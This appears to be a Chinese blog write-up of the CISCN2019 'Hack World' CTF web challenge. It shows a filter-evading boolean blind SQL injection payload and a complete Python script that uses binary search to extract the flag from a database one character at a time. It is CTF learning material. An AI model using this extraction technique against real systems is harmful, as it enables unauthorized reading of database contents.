CISCN2019-华北赛区-Day2-Web1-Hack-World

[CISCN2019 华北赛区 Day2 Web1]Hack World

1.题目:数字型注入+脚本
2.过程

把表名和列名都列出来了,就等你注了……

但是好多字符包括空格都给过滤了,试好久也试不出来……

但是:1/1、4/2是可以出结果的,也就是说,可以借助逻辑判断返回1和0,判断逻辑的真假。

借助之前sqli学到的布尔盲注:

image-20210126103939343

id=if(length((select(flag)from(flag)))=42,1,0)

image-20210130095117383

说明flag有42个字符,这要一个一个注……很多题解上都用了脚本,反正时间充裕,我就针对python脚本学习了下

​ 1.requests模块通过POST请求传参

​ 2.字符串拼接变量

​ 3.处理requests请求结果

​ 4.复习Acwing的二分法模板:1227. 分巧克力

​ 5.time.sleep()延时处理防止频繁访问导致网页不正常回显产生坏点(得益于sql延时注入了解了sleep函数)

其实学的写的都挺粗糙的……最后也调试了好久,不过看见脚本成功运行还是很开心的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/'
flag=""
for x in range(1,43):
l = 32
r = 126
while r > l:
mid = int((l+r+1) / 2)
x = str(x)
y = str(mid)
id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
response = requests.post(url=url,data=id)
if "Hello" in response.text:
l = mid
else:
r = mid-1
time.sleep(0.03)
flag+=(chr(int(r)))
print(chr(int(r)))
print(flag)

0.03还是比较稳定、比较快的,出的flag也比较正常。

image-20210130100902831

emmm,这样我就有自己的布尔盲注脚本了。

🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗🆗

作者

inanb

发布于

2021-01-30

更新于

2021-08-23

许可协议


:D 一言句子获取中...